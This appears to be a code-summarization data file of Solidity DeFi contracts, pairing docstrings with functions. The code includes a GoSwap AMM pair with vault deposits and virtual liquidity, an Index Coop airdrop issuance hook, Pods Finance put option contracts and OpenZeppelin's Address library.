//k值 = 储备0 * 储备1,储备量中包含虚流动性,所以要再减去
kLast = uint256(reserves[0] - dummys[0]).mul(reserves[1] - dummys[1]); // reserve0 and reserve1 are up-to-date
//触发铸造事件
emit Mint(msg.sender, amount0, amount1);
}
/**
* @dev 销毁方法
* @param to to地址
* @return amount0
* @return amount1
* @notice 应该从执行重要安全检查的合同中调用此低级功能
*/
function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
//获取`储备量0`,`储备量1`
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
//获取当前合约在token0合约内的余额
uint256 balance0 = balanceOfIndex(0).sub(dummys[0]);
//获取当前合约在token1合约内的余额
uint256 balance1 = balanceOfIndex(1).sub(dummys[1]);
//从当前合约的balanceOf映射中获取当前合约自身的流动性数量,移除流动性的之前先将lptoken发送到配对合约
uint256 liquidity = balanceOf[address(this)];
//调用铸造费方法
_mintFee(_reserve0 - dummys[0], _reserve1 - dummys[1]);
//获取totalSupply,必须在此处定义,因为totalSupply可以在mintFee中更新
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//amount0 = 流动性数量 * 余额0 / totalSupply 使用余额确保按比例分配
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
//amount1 = 流动性数量 * 余额1 / totalSupply 使用余额确保按比例分配
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
//确认amount0和amount1都大于0
require(amount0 > 0 && amount1 > 0, 'GoSwap: INSUFFICIENT_LIQUIDITY_BURNED');
//销毁当前合约内的流动性数量
_burn(address(this), liquidity);
//将amount0数量的_token0发送给to地址
_safeTransfer(0, to, amount0);
//将amount1数量的_token1发送给to地址
_safeTransfer(1, to, amount1);
//更新balance0
balance0 = balanceOfIndex(0);
//更新balance1
balance1 = balanceOfIndex(1);
//更新储备量
_update(balance0, balance1, _reserve0, _reserve1);
//k值 = 储备0 * 储备1,储备量中包含虚流动性,所以要再减去
kLast = uint256(reserves[0] - dummys[0]).mul(reserves[1] - dummys[1]); // reserve0 and reserve1 are up-to-date
//触发销毁事件
emit Burn(msg.sender, amount0, amount1, to);
}
/**
* @dev 铸造虚流动性
* @param amount0 数额0
* @param amount1 数额1
*/
function dummyMint(uint256 amount0, uint256 amount1) external onlyFeeToSetter lock {
// 获取储备量
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
// 虚流动性0 + 数额0
dummys[0] += uint112(amount0);
// 虚流动性1 + 数额1
dummys[1] += uint112(amount1);
//更新储备量
_update(balanceOfIndex(0), balanceOfIndex(1), _reserve0, _reserve1);
emit DummyMint(amount0, amount1);
}
/**
* @dev 销毁虚流动性
* @param amount0 数额0
* @param amount1 数额1
*/
function dummyBurn(uint256 amount0, uint256 amount1) external onlyFeeToSetter lock {
// 获取储备量
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
// 虚流动性0 - 数额0
dummys[0] -= uint112(amount0);
// 虚流动性1 - 数额1
dummys[1] -= uint112(amount1);
//更新储备量
_update(balanceOfIndex(0), balanceOfIndex(1), _reserve0, _reserve1);
emit DummyBurn(amount0, amount1);
}
/**
* @dev 交换方法
* @param amount0Out 输出数额0
* @param amount1Out 输出数额1
* @param to to地址
* @param data 用于回调的数据
* @notice 应该从执行重要安全检查的合同中调用此低级功能
*/
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
//确认amount0Out和amount1Out都大于0
require(amount0Out > 0 || amount1Out > 0, 'GoSwap: INSUFFICIENT_OUTPUT_AMOUNT');
//获取`储备量0`,`储备量1`
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
//确认`输出数量0,1` < `储备量0,1`
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'GoSwap: INSUFFICIENT_LIQUIDITY');
//初始化变量
uint256 balance0;
uint256 balance1;
{
//标记_token{0,1}的作用域,避免堆栈太深的错误
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = tokens[0];
address _token1 = tokens[1];
//确认to地址不等于_token0和_token1
require(to != _token0 && to != _token1, 'GoSwap: INVALID_TO');
//如果`输出数量0` > 0 安全发送`输出数量0`的token0到to地址
if (amount0Out > 0) _safeTransfer(0, to, amount0Out); // optimistically transfer tokens
//如果`输出数量1` > 0 安全发送`输出数量1`的token1到to地址
if (amount1Out > 0) _safeTransfer(1, to, amount1Out); // optimistically transfer tokens
//如果data的长度大于0 调用to地址的接口,闪电贷!
if (data.length > 0) IGoSwapCallee(to).goswapCall(msg.sender, amount0Out, amount1Out, data);
//调用交易钩子
if (swapHookAddress != address(0))
IGoSwapHook(swapHookAddress).swapHook(msg.sender, amount0Out, amount1Out, to);
//获取当前合约在token0合约内的余额
balance0 = balanceOfIndex(0);
//获取当前合约在token1合约内的余额
balance1 = balanceOfIndex(1);
}
//如果 余额0 > 储备0 - amount0Out 则 amount0In = 余额0 - (储备0 - amount0Out) 否则 amount0In = 0
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
//如果 余额1 > 储备1 - amount1Out 则 amount1In = 余额1 - (储备1 - amount1Out) 否则 amount1In = 0
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
//确认`输入数量0||1`大于0
require(amount0In > 0 || amount1In > 0, 'GoSwap: INSUFFICIENT_INPUT_AMOUNT');
{
//标记reserve{0,1}的作用域,避免堆栈太深的错误
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
//调整后的余额0 = 余额0 * 1000 - (amount0In * fee)
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(fee));
//调整后的余额1 = 余额1 * 1000 - (amount1In * fee)
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(fee));
//确认balance0Adjusted * balance1Adjusted >= 储备0 * 储备1 * 1000000
require(
balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000**2),
'GoSwap: K'
);
}
//更新储备量
_update(balance0, balance1, _reserve0, _reserve1);
//触发交换事件
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
/**
* @dev 强制平衡以匹配储备
* @param to to地址
*/
function skim(address to) external lock {
//将当前合约在`token0,1`的余额-`储备量0,1`安全发送到to地址
_safeTransfer(0, to, balanceOfIndex(0).sub(reserves[0]));
_safeTransfer(1, to, balanceOfIndex(1).sub(reserves[1]));
}
/**
* @dev 强制准备金与余额匹配
*/
function sync() external lock {
_update(balanceOfIndex(0), balanceOfIndex(1), reserves[0], reserves[1]);
}
/**
* @dev 按索引返回资产余额
* @param tokenIndex token索引
* @return balance 资产余额
*/
function balanceOfIndex(uint8 tokenIndex) public view returns (uint256 balance) {
// 资产余额 = 当前合约在token的余额 + 保险库中的存款数额 + 虚流动性
balance = IERC20(tokens[tokenIndex]).balanceOf(address(this)).add(depositeds[tokenIndex]).add(
dummys[tokenIndex]
);
}
/**
* @dev 向保险库批准最大值
* @param tokenIndex token索引
*/
function approveByIndex(uint8 tokenIndex) public onlyFeeToSetter {
// 调用Token合约的approve方法向保险库合约批准最大值
IERC20(tokens[tokenIndex]).approve(vaults[tokenIndex], uint256(-1));
}
/**
* @dev 向保险库取消批准
* @param tokenIndex token索引
*/
function unApproveByIndex(uint8 tokenIndex) public onlyFeeToSetter {
// 调用Token合约的approve方法将保险库合约的批准额设置为0
IERC20(tokens[tokenIndex]).approve(vaults[tokenIndex], 0);
}
/**
* @dev 向保险库取消批准
* @param tokenIndex token索引
* @param vault 保险库地址
*/
function setVaults(uint8 tokenIndex, address vault) public onlyFeeToSetter {
// 按照索引更新保险库合约地址
vaults[tokenIndex] = vault;
// 向保险库合约批准最大值
approveByIndex(tokenIndex);
// 触发事件
emit VaultUpdated(tokenIndex, vault);
}
/**
* @dev 向保险库存款
* @param tokenIndex token索引
* @param amount 存款数额
*/
function _deposit(uint8 tokenIndex, uint256 amount) internal {
// 确认存款数额大于0
require(amount > 0, 'deposit amount must be greater than 0');
// 更新存款数额
depositeds[tokenIndex] = depositeds[tokenIndex].add(amount);
// 向保险库合约存款
IVault(vaults[tokenIndex]).deposit(amount);
// 触发事件
emit DepositedUpdated(depositeds[0], depositeds[1]);
}
/**
* @dev 向保险库存款指定数额
* @param tokenIndex token索引
* @param amount 存款数额
*/
function depositSome(uint8 tokenIndex, uint256 amount) external onlyFeeToSetter {
// 向保险库存款指定数额
_deposit(tokenIndex, amount);
}
/**
* @dev 向保险库存款全部
* @param tokenIndex token索引
*/
function depositAll(uint8 tokenIndex) external onlyFeeToSetter {
// 向保险库存款全部
_deposit(tokenIndex, IERC20(tokens[tokenIndex]).balanceOf(address(this)));
}
/**
* @dev 向保险库按存款比例存款
* @param tokenIndex token索引
*/
function _redeposit(uint8 tokenIndex) internal {
// 存款数额 = 当前合约在token中的余额 * 存款比例 / 1000
uint256 amount = IERC20(tokens[tokenIndex]).balanceOf(address(this)).mul(redepositRatios[tokenIndex]).div(1000);
// 调用私有存款方法
_deposit(tokenIndex, amount);
}
/**
* @dev 设置存款比例
* @param tokenIndex token索引
* @param _redpositRatio token索引
*/
function setRedepositRatio(uint8 tokenIndex, uint16 _redpositRatio) external onlyFeeToSetter {
// 确认存款比例小于等于1000
require(_redpositRatio <= 1000, 'ratio too large');
// 按索引设置存款比例
redepositRatios[tokenIndex] = _redpositRatio;
// 触发事件
emit RedepositRatioUpdated(tokenIndex, _redpositRatio);
}
/**
* @dev 从保险库中取款
* @param tokenIndex token索引
* @param amount 存款数额
*/
function _withdraw(uint8 tokenIndex, uint256 amount) internal {
// 确认取款数额大于0
require(amount > 0, 'withdraw amount must be greater than 0');
// 计算当前合约在token合约中的余额
uint256 before = IERC20(tokens[tokenIndex]).balanceOf(address(this));
// 从保险库中取款amount数额
IVault(vaults[tokenIndex]).withdraw(amount);
// 计算取款之后成功取出的数额
uint256 received = IERC20(tokens[tokenIndex]).balanceOf(address(this)).sub(before);
// 如果收到的数额<=存款数额
if (received <= depositeds[tokenIndex]) {
// 在存款数额中减去收到的数额
depositeds[tokenIndex] -= received;
} else {
// 奖励等于多出来的取款,用收到的数额减去存款数额
uint256 reward = received.sub(depositeds[tokenIndex]);
// 将存款数额归零
depositeds[tokenIndex] = 0;
// 将奖励发送给feeTo
_safeTransfer(tokenIndex, getFeeTo(), reward);
}
emit DepositedUpdated(depositeds[0], depositeds[1]);
}
/**
* @dev 从保险库中取款全部
* @param tokenIndex token索引
*/
function _withdrawAll(uint8 tokenIndex) internal {
// 将当前合约在tokens[tokenIndex]的余额全部取出
_withdraw(tokenIndex, IERC20(vaults[tokenIndex]).balanceOf(address(this)));
}
/**
* @dev 从保险库中取款
* @param tokenIndex token索引
* @param amount 存款数额
*/
function withdraw(uint8 tokenIndex, uint256 amount) external onlyFeeToSetter {
_withdraw(tokenIndex, amount);
}
/**
* @dev 从保险库中取款全部
* @param tokenIndex token索引
*/
function withdrawAll(uint8 tokenIndex) external onlyFeeToSetter {
_withdrawAll(tokenIndex);
}
}
|
向保险库取消批准 tokenIndex token索引/ 调用Token合约的approve方法将保险库合约的批准额设置为0
|
function unApproveByIndex(uint8 tokenIndex) public onlyFeeToSetter {
IERC20(tokens[tokenIndex]).approve(vaults[tokenIndex], 0);
}
| 6,343,767
|
/*
Copyright 2021 Index Cooperative.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
import { IAirdropModule } from "../interfaces/IAirdropModule.sol";
import { IManagerIssuanceHook } from "../interfaces/IManagerIssuanceHook.sol";
import { ISetToken } from "../interfaces/ISetToken.sol";
/**
* @title AirdropIssuanceHook
* @author Index Coop
*
* Issuance hooks that absorbs all airdropped tokens. Useful for ensuring that rebasing tokens are fully accounted for before issuance. Only works
* with tokens that strictly positively rebase such as aTokens.
*/
contract AirdropIssuanceHook is IManagerIssuanceHook {
/* ============ State Variables ============ */
// Address of Set Protocol AirdropModule
IAirdropModule public airdropModule;
/* ============== Constructor ================ */
/**
* Sets state variables.
*
* @param _airdropModule address of AirdropModule
*/
constructor(IAirdropModule _airdropModule) public {
airdropModule = _airdropModule;
}
/* =========== External Functions =========== */
/**
* Absorbs all airdropped tokens. Called by some issuance modules before issuance.
*
* @param _setToken address of SetToken to absorb airdrops for
*/
function invokePreIssueHook(ISetToken _setToken, uint256 /* _issueQuantity */, address /* _sender */, address /* _to */) external override {
_sync(_setToken);
}
/**
* Absorbs all airdropped tokens. Called by some issuance modules before redemption.
*
* @param _setToken address of SetToken to absorb airdrops for
*/
function invokePreRedeemHook(ISetToken _setToken, uint256 /* _issueQuantity */, address /* _sender */, address /* _to */) external override {
_sync(_setToken);
}
/* =========== Internal Functions ========== */
/**
* Absorbs all airdropped tokens. AirdropModule must be added to an initialized for the SetToken. Must have anyoneAbsorb set to true on
* the AirdropModule.
*
* @param _setToken address of SetToken to absorb airdrops for
*/
function _sync(ISetToken _setToken) internal {
address[] memory airdrops = airdropModule.getAirdrops(_setToken);
airdropModule.batchAbsorb(_setToken, airdrops);
}
}
|
Absorbs all airdropped tokens. Called by some issuance modules before redemption. _setToken address of SetToken to absorb airdrops for/
|
function invokePreRedeemHook(ISetToken _setToken, uint256 /* _issueQuantity */, address /* _sender */, address /* _to */) external override {
_sync(_setToken);
}
| 1,033,394
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "./PodPut.sol";
import "../interfaces/IWETH.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../lib/Conversion.sol";
/**
* @title WPodPut
* @author Pods Finance
*
* @notice Represents a tokenized Put option series for ETH. Internally it Wraps
* ETH to treat it seamlessly.
*
* @dev Put options represents the right, not the obligation to sell the underlying asset
* for strike price units of the strike asset.
*
* There are four main actions that can be done with an option:
*
* Sellers can mint fungible Put option tokens by locking strikePrice * amountOfOptions
* strike asset units until expiration. Buyers can exercise their Put, meaning
* selling their underlying asset for strikePrice * amountOfOptions units of strike asset.
* At the end, seller can retrieve back its collateral, that could be the underlying asset
* AND/OR strike based on the contract's current ratio of underlying and strike assets.
*
* There are many option's style, but the most usual are: American and European.
* The difference between them are the moments that the buyer is allowed to exercise and
* the moment that seller can retrieve its locked collateral.
*
* Exercise:
* American -> any moment until expiration
* European -> only after expiration and until the end of the exercise window
*
* Withdraw:
* American -> after expiration
* European -> after end of exercise window
*
* Let's take an example: there is such a put option series where buyers
* may sell 1 ETH for 300 USDC until Dec 31, 2021.
*
* In this case:
*
* - Expiration date: Dec 31, 2021
* - Underlying asset: ETH
* - Strike asset: USDC
* - Strike price: 300 USDC
*
* USDC holders may call mint() until the expiration date, which in turn:
*
* - Will lock their USDC into this contract
* - Will issue put tokens corresponding to this USDC amount
* - This contract is agnostic about where options could be bought or sold and how much the
* the option premium should be.
*
* USDC holders who also hold the option tokens may call unmint() until the
* expiration date, which in turn:
*
* - Will unlock their USDC from this contract
* - Will burn the corresponding amount of put tokens
*
* Put token holders may call exerciseEth() until the expiration date, to
* exercise their option, which in turn:
*
* - Will sell 1 ETH for 300 USDC (the strike price) each.
* - Will burn the corresponding amount of put tokens.
*
* IMPORTANT: Note that after expiration, option tokens are worthless since they can not
* be exercised and its price should be worth 0 in a healthy market.
*
*/
contract WPodPut is PodPut, Conversion {
event Received(address indexed sender, uint256 value);
constructor(
string memory name,
string memory symbol,
IPodOption.ExerciseType exerciseType,
address strikeAsset,
uint256 strikePrice,
uint256 expiration,
uint256 exerciseWindowSize,
IConfigurationManager configurationManager
)
public
PodPut(
name,
symbol,
exerciseType,
_parseAddressFromUint(configurationManager.getParameter("WRAPPED_NETWORK_TOKEN")),
strikeAsset,
strikePrice,
expiration,
exerciseWindowSize,
configurationManager
)
{} // solhint-disable-line no-empty-blocks
/**
* @notice Unlocks collateral by burning option tokens.
*
* Options can only be burned while the series is NOT expired.
*
* @param amountOfOptions The amount option tokens to be burned
*/
function unmint(uint256 amountOfOptions) external override unmintWindow {
(uint256 strikeToSend, uint256 underlyingToSend) = _unmintOptions(amountOfOptions, msg.sender);
require(strikeToSend > 0, "WPodPut: amount of options is too low");
// Sends strike asset
IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend);
emit Unmint(msg.sender, amountOfOptions, strikeToSend, underlyingToSend);
}
/**
* @notice Allow Put token holders to use them to sell some amount of units
* of ETH for the amount * strike price units of the strike token.
*
* @dev It uses the amount of ETH sent to exchange to the strike amount
*
* During the process:
*
* - The amount of ETH is transferred into this contract as a payment for the strike tokens
* - The ETH is wrapped into WETH
* - The amount of ETH * strikePrice of strike tokens are transferred to the caller
* - The amount of option tokens are burned
*
* On American options, this function can only called anytime before expiration.
* For European options, this function can only be called during the exerciseWindow.
* Meaning, after expiration and before the end of exercise window.
*/
function exerciseEth() external payable exerciseWindow {
uint256 amountOfOptions = msg.value;
require(amountOfOptions > 0, "WPodPut: you can not exercise zero options");
// Calculate the strike amount equivalent to pay for the underlying requested
uint256 strikeToSend = _strikeToTransfer(amountOfOptions);
// Burn the option tokens equivalent to the underlying requested
_burn(msg.sender, amountOfOptions);
// Retrieve the underlying asset from caller
IWETH(underlyingAsset()).deposit{ value: msg.value }();
// Releases the strike asset to caller, completing the exchange
IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend);
emit Exercise(msg.sender, amountOfOptions);
}
/**
* @notice After series expiration in case of American or after exercise window for European,
* allow minters who have locked their strike asset tokens to withdraw them proportionally
* to their minted options.
*
* @dev If assets had been exercised during the option series the minter may withdraw
* the exercised assets or a combination of exercised and strike asset tokens.
*/
function withdraw() external override withdrawWindow {
(uint256 strikeToSend, uint256 underlyingToSend) = _withdraw();
IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend);
if (underlyingToSend > 0) {
IWETH(underlyingAsset()).withdraw(underlyingToSend);
Address.sendValue(msg.sender, underlyingToSend);
}
emit Withdraw(msg.sender, strikeToSend, underlyingToSend);
}
receive() external payable {
require(msg.sender == this.underlyingAsset(), "WPodPut: Only deposits from WETH are allowed");
emit Received(msg.sender, msg.value);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "./PodOption.sol";
/**
* @title PodPut
* @author Pods Finance
*
* @notice Represents a tokenized Put option series for some long/short token pair.
*
* @dev Put options represents the right, not the obligation to sell the underlying asset
* for strike price units of the strike asset.
*
* There are four main actions that can be done with an option:
*
* Sellers can mint fungible Put option tokens by locking strikePrice * amountOfOptions
* strike asset units until expiration. Buyers can exercise their Put, meaning
* selling their underlying asset for strikePrice * amountOfOptions units of strike asset.
* At the end, seller can retrieve back its collateral, that could be the underlying asset
* AND/OR strike based on the contract's current ratio of underlying and strike assets.
*
* There are many option's style, but the most usual are: American and European.
* The difference between them are the moments that the buyer is allowed to exercise and
* the moment that seller can retrieve its locked collateral.
*
* Exercise:
* American -> any moment until expiration
* European -> only after expiration and until the end of the exercise window
*
* Withdraw:
* American -> after expiration
* European -> after end of exercise window
*
* Let's take an example: there is such an European Put option series where buyers
* may sell 1 WETH for 300 USDC until Dec 31, 2021.
*
* In this case:
*
* - Expiration date: Dec 31, 2021
* - Underlying asset: WETH
* - Strike asset: USDC
* - Strike price: 300 USDC
*
* USDC holders may call mint() until the expiration date, which in turn:
*
* - Will lock their USDC into this contract
* - Will mint/issue option tokens corresponding to this USDC amount
* - This contract is agnostic about where to sell/buy and how much should be the
* the option premium.
*
* USDC holders who also hold the option tokens may call unmint() until the
* expiration date, which in turn:
*
* - Will unlock their USDC from this contract
* - Will burn the corresponding amount of options tokens
*
* Option token holders may call exercise() after the expiration date and
* before the end of exercise window, to exercise their option, which in turn:
*
* - Will sell 1 ETH for 300 USDC (the strike price) each.
* - Will burn the corresponding amount of option tokens.
*
* USDC holders that minted options initially can call withdraw() after the
* end of exercise window, which in turn:
*
* - Will give back its amount of collateral locked. That could be o mix of
* underlying asset and strike asset based if and how the pool was exercised.
*
* IMPORTANT: Note that after expiration, option tokens are worthless since they can not
* be exercised and its price should worth 0 in a healthy market.
*
*/
contract PodPut is PodOption {
constructor(
string memory name,
string memory symbol,
IPodOption.ExerciseType exerciseType,
address underlyingAsset,
address strikeAsset,
uint256 strikePrice,
uint256 expiration,
uint256 exerciseWindowSize,
IConfigurationManager configurationManager
)
public
PodOption(
name,
symbol,
IPodOption.OptionType.PUT,
exerciseType,
underlyingAsset,
strikeAsset,
strikePrice,
expiration,
exerciseWindowSize,
configurationManager
)
{} // solhint-disable-line no-empty-blocks
/**
* @notice Locks strike asset and write option tokens.
*
* @dev The issued amount ratio is 1:1, i.e., 1 option token for 1 underlying token.
*
* It presumes the caller has already called IERC20.approve() on the
* strike token contract to move caller funds.
*
* This function is meant to be called by strike token holders wanting
* to write option tokens. Calling it will lock `amountOfOptions` * `strikePrice`
* units of `strikeToken` into this contract
*
* Options can only be minted while the series is NOT expired.
*
* It is also important to notice that options will be sent back
* to `msg.sender` and not the `owner`. This behavior is designed to allow
* proxy contracts to mint on others behalf. The `owner` will be able to remove
* the deposited collateral after series expiration or by calling unmint(), even
* if a third-party minted options on its behalf.
*
* @param amountOfOptions The amount option tokens to be issued
* @param owner Which address will be the owner of the options
*/
function mint(uint256 amountOfOptions, address owner) external override tradeWindow {
require(amountOfOptions > 0, "PodPut: you can not mint zero options");
uint256 amountToTransfer = _strikeToTransfer(amountOfOptions);
_mintOptions(amountOfOptions, amountToTransfer, owner);
IERC20(strikeAsset()).safeTransferFrom(msg.sender, address(this), amountToTransfer);
emit Mint(owner, amountOfOptions);
}
/**
* @notice Unlocks collateral by burning option tokens.
*
* Options can only be burned while the series is NOT expired.
*
* @param amountOfOptions The amount option tokens to be burned
*/
function unmint(uint256 amountOfOptions) external virtual override unmintWindow {
(uint256 strikeToSend, uint256 underlyingToSend) = _unmintOptions(amountOfOptions, msg.sender);
require(strikeToSend > 0, "PodPut: amount of options is too low");
// Sends strike asset
IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend);
emit Unmint(msg.sender, amountOfOptions, strikeToSend, underlyingToSend);
}
/**
* @notice Allow Put token holders to use them to sell some amount of units
* of the underlying token for the amount * strike price units of the
* strike token.
*
* @dev It presumes the caller has already called IERC20.approve() on the
* underlying token contract to move caller funds.
*
* During the process:
*
* - The amount * strikePrice of strike tokens are transferred to the caller
* - The amount of option tokens are burned
* - The amount of underlying tokens are transferred into
* this contract as a payment for the strike tokens
*
* On American options, this function can only called anytime before expiration.
* For European options, this function can only be called during the exerciseWindow.
* Meaning, after expiration and before the end of exercise window.
*
* @param amountOfOptions The amount option tokens to be exercised
*/
function exercise(uint256 amountOfOptions) external virtual override exerciseWindow {
require(amountOfOptions > 0, "PodPut: you can not exercise zero options");
// Calculate the strike amount equivalent to pay for the underlying requested
uint256 amountOfStrikeToTransfer = _strikeToTransfer(amountOfOptions);
// Burn the option tokens equivalent to the underlying requested
_burn(msg.sender, amountOfOptions);
// Retrieve the underlying asset from caller
IERC20(underlyingAsset()).safeTransferFrom(msg.sender, address(this), amountOfOptions);
// Releases the strike asset to caller, completing the exchange
IERC20(strikeAsset()).safeTransfer(msg.sender, amountOfStrikeToTransfer);
emit Exercise(msg.sender, amountOfOptions);
}
/**
* @notice After series expiration in case of American or after exercise window for European,
* allow minters who have locked their strike asset tokens to withdraw them proportionally
* to their minted options.
*
* @dev If assets had been exercised during the option series the minter may withdraw
* the exercised assets or a combination of exercised and strike asset tokens.
*/
function withdraw() external virtual override withdrawWindow {
(uint256 strikeToSend, uint256 underlyingToSend) = _withdraw();
IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend);
if (underlyingToSend > 0) {
IERC20(underlyingAsset()).safeTransfer(msg.sender, underlyingToSend);
}
emit Withdraw(msg.sender, strikeToSend, underlyingToSend);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
event Deposit(address indexed depositor, uint256 amount);
event Withdrawal(address indexed recipient, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
contract Conversion {
/**
* @notice Parses the address represented by an uint
*/
function _parseAddressFromUint(uint256 x) internal pure returns (address) {
bytes memory data = new bytes(32);
assembly {
mstore(add(data, 32), x)
}
